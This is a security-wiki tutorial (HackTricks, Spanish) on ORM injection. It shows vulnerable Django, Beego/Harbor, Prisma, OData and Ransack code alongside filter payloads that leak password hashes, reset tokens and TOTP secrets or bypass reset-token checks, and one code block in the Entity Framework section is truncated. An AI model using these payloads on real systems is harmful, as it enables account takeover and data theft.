ORM Injection
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Django ORM (Python)
En this post se explica cómo es posible hacer que un Django ORM sea vulnerable usando, por ejemplo, un código como:
class ArticleView(APIView):
"""
Some basic API view that users send requests to for
searching for articles
"""
def post(self, request: Request, format=None):
try:
articles = Article.objects.filter(**request.data)
serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
Fíjate cómo todo request.data (que será un JSON) se pasa directamente a los filtros (filter) de la base de datos. Un atacante podría enviar filtros inesperados para leak más datos de los esperados.
Examples:
- Login: En un login simple intenta leak las contraseñas de los usuarios registrados en él.
{
"username": "admin",
"password_startswith": "a"
}
Caution
Es posible realizar brute-force sobre la password hasta que sea leaked.
- Relational filtering: Es posible recorrer relaciones para leak información de columnas que ni siquiera se esperaban usar en la operación. Por ejemplo, si es posible leak artículos creados por un usuario con estas relaciones: Article(
created_by) -[1..1]-> Author (user) -[1..1]-> User(password).
{
"created_by__user__password__contains": "pass"
}
Caution
Es posible encontrar el password de todos los usuarios que han creado un artículo
- Many-to-many relational filtering: En el ejemplo anterior no pudimos encontrar los passwords de usuarios que no han creado un artículo. Sin embargo, siguiendo otras relaciones esto es posible. Por ejemplo: Article(
created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).
{
"created_by__departments__employees__user_startswith": "admi"
}
Caution
En este caso podemos encontrar todos los usuarios en los departamentos de usuarios que han creado artículos y luego leak sus contraseñas (en el json anterior solo estamos leaking los usernames pero luego es posible leak las contraseñas).
- Abusing Django Group and Permission many-to-may relations with users: Además, el modelo AbstractUser se usa para generar usuarios en Django y por defecto este modelo tiene algunas many-to-many relationships with the Permission and Group tables. Lo cual, básicamente, es una forma por defecto de acceder a otros usuarios desde un usuario si están en el mismo Group o comparten el mismo Permission.
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
- Bypass filter restrictions: El mismo blogpost propuso evadir el uso de algunos filtros como
articles = Article.objects.filter(is_secret=False, **request.data). Es posible dump artículos que tienenis_secret=Trueporque podemos volver desde una relación a la tabla Article y leak artículos secretos desde artículos no secretos, ya que los resultados se unen y el campois_secretse comprueba en el artículo no secreto mientras que los datos se leak desde el artículo secreto.
Article.objects.filter(is_secret=False, categories__articles__id=2)
Caution
Abusar de las relaciones puede permitir bypass incluso filtros destinados a proteger los datos mostrados.
- Error/Time based via ReDoS: En los ejemplos anteriores se esperaba obtener respuestas diferentes según si el filtrado funcionaba o no para usar eso como oracle. Pero podría darse el caso de que se ejecute alguna acción en la base de datos y la respuesta sea siempre la misma. En ese escenario podría ser posible provocar un error en la base de datos para obtener un nuevo oracle.
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
Del mismo post sobre este vector:
- SQLite: No tiene un operador regexp por defecto (requiere cargar una extensión de terceros)
- PostgreSQL: No tiene un timeout de regex por defecto y es menos propenso al backtracking
- MariaDB: No tiene un timeout de regex
Beego ORM (Go) & Harbor Filter Oracles
Beego refleja el DSL field__operator de Django, por lo que cualquier handler que permita a los usuarios controlar el primer argumento de QuerySeter.Filter() expone todo el grafo de relaciones:
qs := o.QueryTable("articles")
qs = qs.Filter(filterExpression, filterValue) // attacker controls key + operator
Solicitudes como /search?filter=created_by__user__password__icontains=pbkdf pueden pivotar a través de claves foráneas exactamente como las primitivas de Django anteriores. El helper q de Harbor analizaba la entrada del usuario en filtros de Beego, por lo que usuarios con pocos privilegios podían sondear secretos observando las respuestas de listados:
GET /api/v2.0/users?q=password=~$argon2id$→ revela si algún hash contiene$argon2id$.GET /api/v2.0/users?q=salt=~abc→ leaks salt substrings.
Contar las filas devueltas, observar los metadatos de paginación o comparar las longitudes de las respuestas proporciona un oráculo para brute-force hashes, salts y TOTP seeds.
Evadiendo los parches de Harbor con parseExprs
Harbor intentó proteger los campos sensibles etiquetándolos con filter:"false" y validando solo el primer segmento de la expresión:
k := strings.SplitN(key, orm.ExprSep, 2)[0]
if _, ok := meta.Filterable(k); !ok { continue }
qs = qs.Filter(key, value)
Beego’s internal parseExprs walks every __-delimited segment and, when the current segment is not a relation, it simply overwrites the target field with the next segment. Payloads such as email__password__startswith=foo therefore pass Harbor’s Filterable(email)=true check but execute as password__startswith=foo, bypassing deny-lists.
v2.13.1 limited keys to a single separator, but Harbor’s own fuzzy-match builder appends operators after validation: q=email__password=~abc → Filter("email__password__icontains", "abc"). The ORM again interprets that as password__icontains. Beego apps that only inspect the first __ component or that append operators later in the request pipeline stay vulnerable to the same overwrite primitive and can still be abused as blind leak oracles.
Prisma ORM (NodeJS)
A continuación se muestran tricks extracted from this post.
- Full find control:
const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
const posts = await prisma.article.findMany(req.body.filter)
res.json(posts);
} catch (error) {
res.json([]);
}
});
Se puede ver que todo el body javascript se pasa a prisma para realizar queries.
En el ejemplo del post original, esto comprobaría todos los posts createdBy alguien (cada post está createdBy alguien), devolviendo también la información del usuario de esa persona (username, password…)
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
El siguiente selecciona todas las publicaciones creadas por alguien con una password y devolverá la password:
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
- Control total de la cláusula where:
Veamos esto donde el atacante puede controlar la cláusula where:
app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
where: req.query.filter as any // Vulnerable to ORM Leaks
})
res.json(posts);
} catch (error) {
res.json([]);
}
});
Es posible filtrar el password de los usuarios directamente así:
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})
Caution
Usando operaciones como
startsWithes posible que se produzca un leak de información.
- Many-to-many relational filtering bypassing filtering:
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})
Es posible leak artículos no publicados volviendo a las relaciones muchos-a-muchos entre Category -[*..*]-> Article:
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
También es posible leak todos los usuarios abusando de algunos loop back en relaciones many-to-many:
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
- Error/Timed queries: En la publicación original puedes leer un conjunto muy extenso de pruebas realizadas para encontrar la payload óptima para leak información con una time based payload. Esto es:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
Donde {CONTAINS_LIST} es una lista con 1000 cadenas para asegurarse de que la respuesta se retrase cuando se encuentre el leak correcto.
Confusión de tipos en los filtros where (operator injection)
La API de consultas de Prisma acepta tanto valores primitivos como objetos de operador. Cuando los manejadores asumen que el cuerpo de la petición contiene cadenas simples pero las pasan directamente a where, los atacantes pueden introducir operadores en los flujos de autenticación y eludir las comprobaciones de token.
const user = await prisma.user.findFirstOrThrow({
where: { resetToken: req.body.resetToken as string }
})
Vectores comunes de coerción:
- JSON body (default
express.json()):{"resetToken":{"not":"E"},"password":"newpass"}⇒ coincide con todos los usuarios cuyo token no esE. - URL-encoded body con
extended: true:resetToken[not]=E&password=newpassse convierte en el mismo objeto. - Query string en Express <5 o con parsers extendidos:
/reset?resetToken[contains]=argon2leaks substring matches. - cookie-parser JSON cookies:
Cookie: resetToken=j:{"startsWith":"0x"}si las cookies se reenvían a Prisma.
Porque Prisma evalúa alegremente { resetToken: { not: ... } }, { contains: ... }, { startsWith: ... }, etc., cualquier comprobación de igualdad sobre secretos (reset tokens, API keys, magic links) puede ampliarse a un predicado que tiene éxito sin conocer el secreto. Combínalo con filtros relacionales (createdBy) para elegir una víctima.
Busca flujos donde:
- No se aplican esquemas de request, por lo que los objetos anidados sobreviven a la deserialización.
- Los parsers extendidos de body/query permanecen activados y aceptan la sintaxis de corchetes.
- Los handlers reenvían el JSON del usuario directamente a Prisma en lugar de mapearlo a campos/operadores permitidos.
Entity Framework & OData Filter Leaks
Reflection-based text helpers leak secrets
Microsoft TextFilter helper abused for leaks
```csharp IQueryableLos helpers que enumeran cada propiedad de tipo string y las envuelven dentro de .Contains(term) exponen de forma efectiva passwords, API tokens, salts y TOTP secrets a cualquier usuario que pueda invocar el endpoint. Directus CVE-2025-64748 es un ejemplo del mundo real donde el endpoint de búsqueda directus_users incluyó token y tfa_secret en sus predicados LIKE generados, convirtiendo los conteos de resultados en un leak oracle.
OData — oráculos de comparación
Los controladores ASP.NET OData a menudo devuelven IQueryable<T> y permiten $filter, incluso cuando funciones como contains están deshabilitadas. Mientras el EDM exponga la propiedad, los atacantes aún pueden compararla:
GET /odata/Articles?$filter=CreatedBy/TfaSecret ge 'M'&$top=1
GET /odata/Articles?$filter=CreatedBy/TfaSecret lt 'M'&$top=1
La mera presencia o ausencia de resultados (o de metadatos de paginación) permite hacer una búsqueda binaria de cada carácter según la colación de la base de datos. Las propiedades de navegación (CreatedBy/Token, CreatedBy/User/Password) habilitan pivotes relacionales similares a Django/Beego, por lo que cualquier EDM que exponga campos sensibles o omita listas de denegación por propiedad es un objetivo fácil.
Las bibliotecas y middleware que traducen cadenas de usuario en operadores ORM (p. ej., Entity Framework dynamic LINQ helpers, Prisma/Sequelize wrappers) deben considerarse sinks de alto riesgo a menos que implementen listas de permitidos estrictas por campo/operador.
Ransack (Ruby)
Estos trucos fueron found in this post.
Tip
Tenga en cuenta que Ransack 4.0.0.0 ahora exige el uso de una lista de permitidos explícita para los atributos y asociaciones buscables.
Ejemplo vulnerable:
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
Fíjate cómo la consulta se definirá por los parámetros enviados por el atacante. Por ejemplo, fue posible brute-force the reset token con:
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
Mediante brute-forcing y, potencialmente, el uso de relaciones, fue posible leak más datos de una base de datos.
Collation-aware leak strategies
Las comparaciones de cadenas heredan la colación de la base de datos, por lo que los leak oracles deben diseñarse en torno a cómo el backend ordena los caracteres:
- Las collations por defecto de MariaDB/MySQL/SQLite/MSSQL suelen ser insensibles a mayúsculas/minúsculas, por lo que
LIKE/=no pueden distinguiradeA. Usa operadores sensibles a mayúsculas/minúsculas (regex/GLOB/BINARY) cuando la distinción de mayúsculas/minúsculas del secreto importe. - Prisma y Entity Framework reflejan el ordenamiento de la base de datos. Collations como la de MSSQL
SQL_Latin1_General_CP1_CI_ASsitúan la puntuación antes que las cifras y letras, por lo que las probes de binary-search deben seguir ese orden en lugar del orden bruto de bytes ASCII. - El
LIKEde SQLite es insensible a mayúsculas/minúsculas a menos que se registre una colación personalizada, por lo que los leaks de Django/Beego pueden necesitar predicados__regexpara recuperar tokens sensibles a mayúsculas/minúsculas.
Calibrar los payloads a la colación real evita probes innecesarias y acelera significativamente los ataques automatizados por substring/binary-search.
References
- https://www.elttam.com/blog/plormbing-your-django-orm/
- https://www.elttam.com/blog/plorming-your-primsa-orm/
- https://www.elttam.com/blog/leaking-more-than-you-joined-for/
- https://positive.security/blog/ransack-data-exfiltration
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks

